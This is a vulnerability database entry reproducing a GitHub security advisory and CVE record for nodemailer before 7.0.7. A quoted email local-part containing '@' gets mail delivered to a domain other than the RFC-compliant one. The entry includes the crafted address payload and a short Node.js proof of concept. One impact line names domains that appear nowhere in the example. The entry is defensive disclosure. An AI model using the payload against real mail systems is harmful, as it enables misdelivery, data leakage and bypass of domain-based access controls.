ghsa-mm7p-fcc7-pg87
Vulnerability from github
The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.
Payload: "xclow3n@gmail.com x"@internal.domain
Using the following code to send mail
```
const nodemailer = require("nodemailer");
let transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "", pass: "", }, });
let mailOptions = { from: '"Test Sender" your_email@gmail.com', to: "\"xclow3n@gmail.com x\"@internal.domain", subject: "Hello from Nodemailer", text: "This is a test email sent using Gmail SMTP and Nodemailer!", };
transporter.sendMail(mailOptions, (error, info) => { if (error) { return console.log("Error: ", error); } console.log("Message sent: %s", info.messageId);
});
(async () => { const parser = await import("@sparser/email-address-parser"); const { EmailAddress, ParsingOptions } = parser.default; const parsed = EmailAddress.parse(mailOptions.to /, new ParsingOptions(true) /);
if (!parsed) { console.error("Invalid email address:", mailOptions.to); return; }
console.log("Parsed email:", {
address: ${parsed.localPart}@${parsed.domain},
local: parsed.localPart,
domain: parsed.domain,
});
})();
```
Running the script and seeing how this mail is parsed according to RFC
Parsed email: {
address: '"xclow3n@gmail.com x"@internal.domain',
local: '"xclow3n@gmail.com x"',
domain: 'internal.domain'
}
But the email is sent to xclow3n@gmail.com
Impact:
-
Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
-
Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
-
Potential compliance issue: Violates RFC 5321/5322 parsing rules.
-
Domain based access control bypass in downstream applications using your library to send mails
Recommendations
-
Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
-
Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-13033"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-07T13:42:02Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"xclow3n@gmail.com x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n service: \"gmail\",\n auth: {\n user: \"\",\n pass: \"\",\n },\n});\n\nlet mailOptions = {\n from: \u0027\"Test Sender\" \u003cyour_email@gmail.com\u003e\u0027, \n to: \"\\\"xclow3n@gmail.com x\\\"@internal.domain\",\n subject: \"Hello from Nodemailer\",\n text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) =\u003e {\n if (error) {\n return console.log(\"Error: \", error);\n }\n console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () =\u003e {\n const parser = await import(\"@sparser/email-address-parser\");\n const { EmailAddress, ParsingOptions } = parser.default;\n const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n if (!parsed) {\n console.error(\"Invalid email address:\", mailOptions.to);\n return;\n }\n\n console.log(\"Parsed email:\", {\n address: `${parsed.localPart}@${parsed.domain}`,\n local: parsed.localPart,\n domain: parsed.domain,\n });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n address: \u0027\"xclow3n@gmail.com x\"@internal.domain\u0027,\n local: \u0027\"xclow3n@gmail.com x\"\u0027,\n domain: \u0027internal.domain\u0027\n}\n```\n\nBut the email is sent to `xclow3n@gmail.com`\n\n\u003cimg width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" /\u003e\n\n\n### Impact:\n\n- Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n- Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n- Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n- Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n- Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n- Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.",
"id": "GHSA-mm7p-fcc7-pg87",
"modified": "2025-11-17T17:29:26Z",
"published": "2025-10-07T13:42:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13033"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-13033"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402179"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.